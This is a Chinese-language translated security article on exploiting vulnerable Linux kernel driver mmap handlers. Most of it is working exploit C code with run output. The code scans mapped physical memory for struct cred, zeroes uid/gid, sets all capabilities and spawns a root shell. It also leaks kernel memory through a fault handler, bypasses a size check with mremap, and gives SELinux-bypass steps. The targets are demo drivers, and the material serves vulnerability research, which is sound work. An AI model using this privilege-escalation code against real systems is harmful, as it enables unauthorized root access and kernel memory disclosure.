核心驅動mmap Handler利用技術(二)

Editor發表於2018-01-17


4. 利用mmap Handlers


4.1 原理


到此我們理解了如何去實現一個可以獲取任意記憶體地址(通常是核心記憶體)訪問權的mmap handler。現在的問題是:我們如何用現有的知識來獲取root許可權?我們考慮兩種基本情景:


我們知道實體記憶體佈局(通常通過/proc/iomem)

黑盒模型 - 我們只是有一個非常大的mmap


當我們瞭解了實體記憶體佈局後,我們可以輕易地檢視我們對映了記憶體的那個區域,也可以試圖去把想要的記憶體區域與虛擬地址進行關聯。


這允許我們對信令(creds)/函式指標執行精準的覆寫。


更有意思的在於完成黑盒模型的情景。它可以工作在多版本核心和CPU架構,且一旦寫成了exploit,它對不同的驅動來說都會更為的可靠。


為了寫這樣的exp,我麼需要找出記憶體中的一些pattern,這些pattern可以直接告訴我們找到的東西是否有用。


當我們開始考慮我們可以搜尋到什麼時,我們就迅速的找到了實現方法:“有一些我們可以搜尋的明顯pattern,至少16位元組,既然是全部記憶體我們應該可以幾乎找到任何東西”。


如果我們看一下credential結構體(struct cred)的話,就可以看到一些有意思的資料:


struct cred {

atomic_t usage;

#ifdef CONFIG_DEBUG_CREDENTIALS

atomic_t subscribers; /* number of processes subscribed */

void *put_addr;

unsigned magic;

#define CRED_MAGIC 0x43736564

#define CRED_MAGIC_DEAD 0x44656144

#endif

kuid_t uid; /* real UID of the task */

kgid_t gid; /* real GID of the task */

kuid_t suid; /* saved UID of the task */

kgid_t sgid; /* saved GID of the task */

kuid_t euid; /* effective UID of the task */

kgid_t egid; /* effective GID of the task */

kuid_t fsuid; /* UID for VFS ops */

kgid_t fsgid; /* GID for VFS ops */

unsigned securebits; /* SUID-less security management */

kernel_cap_t cap_inheritable; /* caps our children can inherit */

kernel_cap_t cap_permitted; /* caps we're permitted */

kernel_cap_t cap_effective; /* caps we can actually use */

kernel_cap_t cap_bset; /* capability bounding set */

kernel_cap_t cap_ambient; /* Ambient capability set */

#ifdef CONFIG_KEYS

unsigned char jit_keyring; /* default keyring to attach requested * keys to */

struct key __rcu *session_keyring; /* keyring inherited over fork */

struct key *process_keyring; /* keyring private to this process */

struct key *thread_keyring; /* keyring private to this thread */

struct key *request_key_auth; /* assumed request_key authority */

#endif

#ifdef CONFIG_SECURITY

void *security; /* subjective LSM security */

#endif

struct user_struct *user; /* real user ID subscription */

struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */

struct group_info *group_info; /* supplementary groups for euid/fsgid */

struct rcu_head rcu; /* RCU deletion hook */

};


cred結構體用於控制我們執行緒的信令。這意味著我們可以掌握此結構體的大部分值,可以通過簡單的讀/proc/

檢視結構體定義可以觀察到有8個連續的整型變數,我們對此很熟悉(uid,gid,suid,sgid等)。緊隨其後是一個4位元組的securebits變數,再後面是4或5個(實際數量取決於核心版本)long long int(cap_inheritable等)。


我們獲取root許可權的計劃是:


獲取我們的credentials


掃描記憶體去查詢這樣的一組跟隨4-5個long long int型capabilities變數的8個int型變數。在capabilities和uids/gids之間還應該有4個位元組的留空。


將uids/gids改為值0


呼叫getuid(),檢查我們是否已經是root使用者


如果是,則將capabilities修改為值0xffffffffffffffff


如果不是,則恢復uids/gids的舊值,繼續查詢;重複步驟2


我們現在是root,跳出迴圈


在某些情況下,這一方案不奏效,例如:


如果核心是堅固的,一些組建對提權進行了監視(例如,一些三星手機裝置上的Knox)。


如果我們已經有了值為0的uid。這種情況下我們好像可以修改核心的一些東西因為核心包含了大量的0值在記憶體中而我們的pattern沒什麼用。


如果一些安全模組被使能(SELinux, Smack等),我們可能完成的是部分提權,安全模組需要通過後面的步驟來繞過。


在安全模組的情況下,cred結構體的security域擁有一個指向核心使用的特殊安全模組定義的結構體。例如,對SELinux來說他是指向一個包含下列結構體的記憶體區域:


struct task_security_struct {

u32 osid;            /* SID prior to last execve */

u32 sid;                /* current SID */

u32 exec_sid;        /* exec SID */

u32 create_sid;        /* fscreate SID */

u32 keycreate_sid;    /* keycreate SID */

u32 sockcreate_sid;    /* fscreate SID */

};


我們可以替換security域的指標為一個我們已經控制的地址(如果給定架構(如arm, aarch64)允許我們在核心中直接訪問使用者空間對映的話,我們可以提供使用者空間對映),然後brute force sid值。程式應該相對快速因為大部分許可權標籤例如核心或初始化時會將該值設定為0到512之間。


為了繞過SELinux我們需要嘗試下列步驟:


準備一個新的SELinux策略,該策略將當前SELinux的上下文設定成寬鬆


固定偽造的包含全0值的security結構


嘗試去過載SELinux策略


恢復舊的安全指標


嘗試去執行一個惡意行為,該行為此前被SELinux禁止


如果他工作的話,我們就繞過了SELinux


如果不行的話,在我們偽造的security結構中遞增sid值,重試


4.2 基礎mmap Handler利用


這一部分我們將會嘗試開發一個完整root許可權的exp,針對下面的程式碼:


static int simple_mmap(struct file *filp, struct vm_area_struct *vma)

{

printk(KERN_INFO "MWR: Device mmap\n");

printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma->vm_end - vma->vm_start, vma->vm_pgoff);

if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot))

{

  printk(KERN_INFO "MWR: Device mmap failed\n");

  return -EAGAIN;

}

printk(KERN_INFO "MWR: Device mmap OK\n");

return 0;

}


程式碼有2個漏洞:


vma->vm_pgoff在remap_pfn_range中被作為一個實體地址直接使用而沒有進行安檢。


傳遞給remap_pfn_range的對映尺寸沒有做安檢。


我們exp開發的第一步就是,建立觸發漏洞的程式碼,使用它建立一個非常大的記憶體對映:


int main(int argc, char * const * argv)

{

printf("[+] PID: %d\n", getpid());

int fd = open("/dev/MWR_DEVICE", O_RDWR);

if (fd < 0)

{

  printf("[-] Open failed!\n");

  return -1;

}

printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;

unsigned long mmapStart = 0x42424000;

unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED)

{

  perror("Failed to mmap: ");

  close(fd);

  return -1;

}

printf("[+] mmap OK addr: %lx\n", addr);

int stop = getchar();

return 0;

}


上面的程式碼會開啟有漏洞的驅動並且呼叫mmap,傳遞了0xf0000000位元組作為size,0作為offset。下面我們會看到log中記載了我們的呼叫成功了:


$ ./mwr_client

[+] PID: 3855

[+] Open OK fd: 3

[+] mmap OK addr: 42424000


我們可以通過檢視記憶體對映來驗證:


# cat /proc/3855/maps

42424000-132424000 rw-s 00000000 00:06 30941                        /dev/MWR_DEVICE


與此同時,dmesg中也可以看到mmap成功了:


[18877.692697] MWR: Device has been opened 2 time(s)

[18877.692710] MWR: Device mmap

[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)

[18877.696716] MWR: Device mmap OK


如果我們檢查實體地址空間,我們可以看到有了這個對映後我們可以訪問下面00000000-e0ffffff間的所有地址。這是因為我們傳遞了0作為實體地址定位、0xf0000000作為位元組數:


# cat /proc/iomem

00000000-00000fff : reserved

00001000-0009fbff : System RAM 0009fc00-0009ffff : reserved

000a0000-000bffff : PCI Bus 0000:00

000c0000-000c7fff : Video ROM

000e2000-000e2fff : Adapter ROM

000f0000-000fffff : reserved

000f0000-000fffff : System ROM

00100000-dffeffff : System RAM

bac00000-bb20b1e1 : Kernel code

bb20b1e2-bb91c4ff : Kernel data

bba81000-bbb2cfff : Kernel bss

dfff0000-dfffffff : ACPI Tables

e0000000-ffdfffff : PCI Bus 0000:00

e0000000-e0ffffff : 0000:00:02.0

f0000000-f001ffff : 0000:00:03.0

f0000000-f001ffff : e1000

f0400000-f07fffff : 0000:00:04.0

f0400000-f07fffff : vboxguest

f0800000-f0803fff : 0000:00:04.0

f0804000-f0804fff : 0000:00:06.0

f0804000-f0804fff : ohci_hcd

f0805000-f0805fff : 0000:00:0b.0

f0805000-f0805fff : ehci_hcd

fec00000-fec003ff : IOAPIC 0

fee00000-fee00fff : Local APIC

fffc0000-ffffffff : reserved

100000000-11fffffff : System RAM


我們可以選擇增大對映的尺寸來涵蓋所有的實體地址空間。然而,我們這裡不會如此做,這樣一來我們可以展示一些當我們沒有能力訪問全部系統記憶體時所面對的限制。


下一步去實現在記憶體中搜尋cred結構體。我們按4.1節中所說的進行操作。我們會輕量的修改程式因為我們僅僅需要搜尋8個包含我們的uid值的整型數。一個簡單的實現看起來如下:


int main(int argc, char * const * argv)

{

...

printf("[+] mmap OK addr: %lx\n", addr);

unsigned int uid = getuid();

printf("[+] UID: %d\n", uid);

unsigned int credIt = 0;

unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40))

{

  credIt = 0;

  if (

addr[credIt++] == uid && addr[credIt++] == uid &&

addr[credIt++] == uid && addr[credIt++] == uid &&

addr[credIt++] == uid && addr[credIt++] == uid &&

addr[credIt++] == uid && addr[credIt++] == uid )

  {

    credNum++;

    printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);

  }

  addr++;

}

puts("[+] Scanning loop END");

fflush(stdout);

int stop = getchar();

return 0;

}


在我們的exp輸出中,可以看到找到了一些潛在的cred結構體:


$ ./mwr_client

[+] PID: 5241

[+] Open OK fd: 3

[+] mmap OK addr: 42424000

[+] UID: 1000

[+] Found cred structure! ptr: 0x11a86e184, credNum: 1

[+] Found cred structure! ptr: 0x11a86e244, credNum: 2

[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7

[+] Found cred structure! ptr: 0x11b782604, credNum: 8

[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9


下一步是去找到哪個cred結構體屬於我們的程式,修改它的uid/gid:


int main(int argc, char * const * argv)

{

...

printf("[+] mmap OK addr: %lx\n", addr);

unsigned int uid = getuid();

printf("[+] UID: %d\n", uid);

;

unsigned int credIt = 0;

unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40))

{

  credIt = 0;

  if ( ... )

  {

    credNum++;

    printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);

    credIt = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    addr[credIt++] = 0;

    if (getuid() == 0)

    {

      puts("[+] GOT ROOT!");

      break;

    }

    else

    {

      credIt = 0;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

      addr[credIt++] = uid;

    }

  }

  addr++;

}

puts("[+] Scanning loop END");

fflush(stdout);

int stop = getchar();

return 0;

}


我們執行exp可以看到:


i$ ./mwr_client

[+] PID: 5286

[+] Open OK fd: 3

[+] mmap OK addr: 42424000

[+] UID: 1000

[+] Found cred structure! ptr: 0x11a973f04, credNum: 1 …

[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7

[+] GOT ROOT!

[+] Scanning loop END


可以看到我們成功get root許可權,檢查一下這是否是真的:


cat /proc/5286/status

Name: mwr_client

Umask: 0022

State: S (sleeping)

Tgid: 5286

Ngid: 0

Pid: 5286

PPid: 2939

TracerPid: 0

Uid: 0 0 0 0

Gid: 0 0 0 0

FDSize: 256

Groups: 1000

CapInh: 0000000000000000

CapPrm: 0000000000000000

CapEff: 0000000000000000

CapBnd: 0000003fffffffff

CapAmb: 0000000000000000


我們可以看到我們的UIDs和GIDs都已經從1000改成了0,我們的exp有效果,現在我們幾乎就是一個root使用者。


如果我們多次執行exp就可以發現,並不是總是能夠獲取root。成功率幾乎是4/5,也就是80%左右。我們前面提到了我們僅僅對映了部分的實體地址。exp失敗的原因在於,20%的情況下我們沒能掃描整個核心記憶體(最後100000000-11fffffff也是system RAM,結構分配到了這裡):


# cat /proc/iomem

00000000-00000fff : reserved

00001000-0009fbff : System RAM

0009fc00-0009ffff : reserved

000a0000-000bffff : PCI Bus 0000:00

000c0000-000c7fff : Video ROM

000e2000-000e2fff : Adapter ROM

000f0000-000fffff : reserved

000f0000-000fffff : System ROM

00100000-dffeffff : System RAM

bac00000-bb20b1e1 : Kernel code

bb20b1e2-bb91c4ff : Kernel data

bba81000-bbb2cfff : Kernel bss

dfff0000-dfffffff : ACPI Tables

e0000000-ffdfffff : PCI Bus 0000:00

e0000000-e0ffffff : 0000:00:02.0

f0000000-f001ffff : 0000:00:03.0

f0000000-f001ffff : e1000

f0400000-f07fffff : 0000:00:04.0

f0400000-f07fffff : vboxguest

f0800000-f0803fff : 0000:00:04.0

f0804000-f0804fff : 0000:00:06.0

f0804000-f0804fff : ohci_hcd

f0805000-f0805fff : 0000:00:0b.0

f0805000-f0805fff : ehci_hcd

fec00000-fec003ff : IOAPIC 0

fee00000-fee00fff : Local APIC

fffc0000-ffffffff : reserved

100000000-11fffffff : System RAM


再次檢視實體記憶體佈局就會看到System RAM區域超出了我們對映的可控的範圍。經常會有這種情況,我們在面對mmap handler輸入檢查時值是受限的。


例如,我們可能有能力mmap 1GB記憶體但是卻不能控制這以外的實體地址。可以使用一個cred噴射來輕易解決這個問題。


我們建立100-1000個子程式,每一個都會檢查是否有許可權變更。一旦一個子程式獲取了root許可權就會通知父程式並終止迴圈掃描。剩下的提權步驟由這個單一子程式完成即可。


我們忽略cred噴射的修改以保持exp程式碼的整潔,取而代之的,這作為給讀者的一個挑戰。我們強烈推薦你實現一個cred噴射作為實踐並看看這多麼的簡單有效。

到此,讓我們回頭去完成exp程式碼:


int main(int argc, char * const * argv)

{

...

  if (getuid() == 0)

  {

    puts("[+] GOT ROOT!");

    credIt += 1; //Skip 4 bytes, to get capabilities addr

    [credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    addr[credIt++] = 0xffffffff;

    execl("/bin/sh", "-", (char *)NULL);

    puts("[-] Execl failed...");

    break;

  }

  else

...

  }

    addr++;

}   

puts("[+] Scanning loop END");

fflush(stdout);

int stop = getchar();

return 0;

}


上面的程式碼會覆蓋5個capabilities變數並且開啟一個互動式的shell。下面是exp的結果:


$ ./mwr_client

[+] PID: 5734

[+] Open OK fd: 3

[+] mmap OK addr: 42424000

[+] UID: 1000

[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1

[+] Found cred structure! ptr: 0x11a984904, credNum: 2

[+] Found cred structure! ptr: 0x11b782f04, credNum: 3

[+] Found cred structure! ptr: 0x11b78d844, credNum: 4

[+] GOT ROOT!

# id

uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)

# cat /proc/self/status

Name: cat

Umask: 0022

State: R (running)

Tgid: 5738

Ngid: 0

Pid: 5738

PPid: 5734

TracerPid: 0

Uid: 0 0 0 0

Gid: 0 0 0 0

FDSize: 64

Groups: 1000

CapInh: ffffffffffffffff

CapPrm: ffffffffffffffff

CapEff: ffffffffffffffff

CapBnd: ffffffffffffffff

CapAmb: ffffffffffffffff

Seccomp: 0


4.3 mmap Handler中fault Handler利用


本例子我們將利用mmap的fault handler。既然我們已經知道了如何利用有漏洞的mmap handler去獲取root許可權,我們將焦點轉移到資訊洩露。

這一次我們的驅動只讀:


$ ls -la /dev/MWR_DEVICE

crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE

使用下面的程式碼:

static struct file_operations fops =

{

.open = dev_open,

.mmap = simple_vma_ops_mmap,

.release = dev_release,

};

int size = 0x1000;

static int dev_open(struct inode *inodep, struct file *filep)

{

...

filep->private_data = kzalloc(size, GFP_KERNEL);

...

return 0;

}

static struct vm_operations_struct simple_remap_vm_ops = {

.open = simple_vma_open,

.close = simple_vma_close,

.fault = simple_vma_fault,

};

static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)

{

printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");

vma->vm_private_data = filp->private_data;

vma->vm_ops = &simple_remap_vm_ops;

simple_vma_open(vma);

printk(KERN_INFO "MWR: Device mmap OK\n");

return 0;

}

int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)

{

struct page *page = NULL;

unsigned long offset;

printk(KERN_NOTICE "MWR: simple_vma_fault\n");

printk(KERN_NOTICE "MWR:

vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx, PAGE_SHIFT: %x\n",

(unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff,

((vmf->pgoff << PAGE_SHIFT) + (vma->vm_pgoff <<

PAGE_SHIFT)), PAGE_SHIFT);

offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));

if (offset > PAGE_SIZE << 4)

  goto nopage_out;

page = virt_to_page(vma->vm_private_data + offset);

vmf->page = page;

get_page(page);

nopage_out:

return 0;

}


擁有一個只讀的驅動意味著我們沒有能力去對映可寫的記憶體,我們僅僅能讀而已。


我們以分析驅動程式碼開始,可以看到驅動的open操作,函式為dev_open,它簡單的分配了0x1000位元組的緩衝區。


在simple_vma_ops_mmap中mmap handler可以看到沒有任何的安檢,一個虛擬記憶體操作結構體被指派給了需要的記憶體區域。


在該結構體中我們可以找到simple_vma_fault這個fault handler的實現。


simple_vma_fault函式一開始計算了記憶體頁的偏移,此後,它通過此前額外分配的緩衝區(vma->vm_private_data)以及offset變數來找到記憶體頁。最後,找到的記憶體頁被指派給了vmf->page域。這會引起在錯誤發生時,該page會被對映到虛擬地址。


然而,在頁返回之前,有一個安檢:


if (offset > PAGE_SIZE << 4)

goto nopage_out;


上面的檢查會檢視fault觸發時,是否會返回一個超過0x10000的地址,如果是的話,就會禁止對該頁的訪問。


如果我們檢查驅動buffer的size的話,就會看到這個值是小於0x10000的,該值實際上是前面分配的0x1000位元組:


int size = 0x1000;

static int dev_open(struct inode *inodep, struct file *filep)

{

...

filep->private_data = kzalloc(size, GFP_KERNEL);

...

return 0;

}


這就允許一個惡意程式去請求驅動buffer後面的0x9000個位元組,洩露核心記憶體地址。

讓我們使用下面的程式碼來完成驅動的exp:


void hexDump(char *desc, void *addr, int len);

int main(int argc, char * const * argv)

{

int fd = open("/dev/MWR_DEVICE", O_RDONLY);

if (fd < 0)

{

  printf("[-] Open failed!\n");

  return -1;

}

printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0x10000;

unsigned long mmapStart = 0x42424000;

unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED)

{

  perror("Failed to mmap: ");

  close(fd);

  return -1;

}

printf("[+] mmap OK addr: %lx\n", addr);

hexDump(NULL, addr, 0x8000); // Dump mapped buffer

int stop = getchar();

return 0;

}


程式碼看起來和標準的驅動使用方法很像。我們先開啟一個裝置,對映0x10000位元組記憶體並轉儲該對映記憶體(hexDump函式列印十六進位制表示的緩衝區到stdout)。


讓我們看看exp的輸出:


$ ./mwr_client

[+] Open OK fd: 3

[+] mmap OK addr: 42424000

0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

...

2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....

2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....

2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....

2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............

2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......

2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............

...


在輸出中可以看到,0x2000偏移有一些資料。驅動緩衝區在0x1000處截止所以讀超出這個buffer就意味著我們可以成功的洩露核心記憶體。


更進一步,我們可以看到dmesg的輸出中,我們已經成功訪問到了不止一頁的記憶體:


[ 681.740347] MWR: Device has been opened 1 time(s)

[ 681.740438] MWR: Device simple_vma_ops_mmap

[ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0

[ 681.740440] MWR: Device mmap OK

[ 681.740453] MWR: simple_vma_fault

[ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c

[ 681.741695] MWR: simple_vma_fault

[ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c

[ 681.760845] MWR: simple_vma_fault

[ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c

[ 681.765431] MWR: simple_vma_fault

[ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c

[ 681.775586] MWR: simple_vma_fault

[ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c

[ 681.776835] MWR: simple_vma_fault

[ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c

[ 681.777991] MWR: simple_vma_fault

[ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c

[ 681.779318] MWR: simple_vma_fault

[ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c


4.4 mmap Handler中fault Handler的利用 V2


讓我們假定開發者引入了前面程式碼中simple_vma_ops_mmap函式的一個修改。如下面所見,新的程式碼檢查了對映的尺寸是否小於0x1000。理論上,這會阻止前面的exp生效。

static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)

{

unsigned long size = vma->vm_end - vma->vm_start;

printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");

vma->vm_private_data = filp->private_data;

vma->vm_ops = &simple_remap_vm_ops;

simple_vma_open(vma);

if (size > 0x1000)

{

  printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");

  return -EAGAIN;

}

printk(KERN_INFO "MWR: Device mmap OK\n");

return 0;

}


然而,程式碼依然是可以利用的,儘管我們不能再利用mmap建立一個非常大的對映記憶體。我們可以分割對映程式成兩步:

呼叫mmap分配0x1000位元組

呼叫mremap分配0x10000位元組


這意味著一開始我們建立一個小的0x1000位元組的對映,它會順利的通過安檢。此後我們利用mremap增大尺寸。最終,我們可以像此前那樣轉儲記憶體:

int main(int argc, char * const * argv)

{

int fd = open("/dev/MWR_DEVICE", O_RDONLY);

if (fd < 0)

{

  printf("[-] Open failed!\n");

  return -1;

}

printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0x1000;

unsigned long mmapStart = 0x42424000;

unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED)

{

  perror("Failed to mmap: ");

  close(fd);

  return -1;

}

printf("[+] mmap OK addr: %lx\n", addr);

addr = (unsigned int *)mremap(addr, size, 0x10000, 0);

if (addr == MAP_FAILED)

{

  perror("Failed to mremap: ");

  close(fd);

  return -1;

}

printf("[+] mremap OK addr: %lx\n", addr);

hexDump(NULL, addr, 0x8000);

int stop = getchar();

return 0;

}


我們的exp輸出如下。有一次看到了轉儲的記憶體內容中包含了本不該獨到的內容:


$ ./mwr_client

[+] Open OK fd: 3

[+] mmap OK addr: 42424000

[+] mremap OK addr: 42424000

0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

...

4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....

4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....

4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....

4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............

4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....

...


5. 奇技淫巧


5.1 為了勝利而挖掘


通常當分析mmap handler時,我們可以找到一大堆位掩碼、位移以及算術操作。這些操作可以使得錯過具體的魔數更為容易,這允許一個攻擊者繞過輸入安檢並獲取到預料之外的具體記憶體區域訪問許可權。


有兩個值需要我們去挖掘;對映的offset和size。僅有兩個值需要挖掘意味著我們可以挖掘該驅動相對快一點,允許我們嘗試一個範圍的數,確保我們徹底的測試所有可能的邊緣情況。


5.2 相同議題的不同函式


本文中我們描述了使用remap_pfn_range函式以及它的fault handler來建立記憶體對映。然而,這並不是唯一的可以被本方式利用的函式,有一大堆其他的函式在濫用的情況下也會導致記憶體區域的任意修改。


你無法僅通過一個單一函式的使用而保證某個驅動是安全的。其他潛在的有意思的函式可能是:

vm_insert_page

vm_insert_pfn

vm_insert_pfn_prot

vm_iomap_memory

io_remap_pfn_range

remap_vmalloc_range_partial

remap_vmalloc_range

不同核心版本中,函式列表不完全一致。


5.3 如何去搜尋這一類漏洞?


本文中我們描述了裝置驅動在實現mmap handler時的一種漏洞。然而,幾乎任何的子系統都實現了一個自定義的mmap handler。proc, sysfs, debugfs, 自定義檔案系統, sockets以及任何提供了檔案描述符的子系統,它們都可能實現了一個有漏洞的mmap handler。

此外,remap_pfn_range可能被任何系統呼叫所呼叫,不只是mmap。你也可以在ioctl的handlers中找到該函式。

本文由看雪論壇玉涵 編譯,來源exploit-database-papers  轉載請註明來自看雪社群

相關文章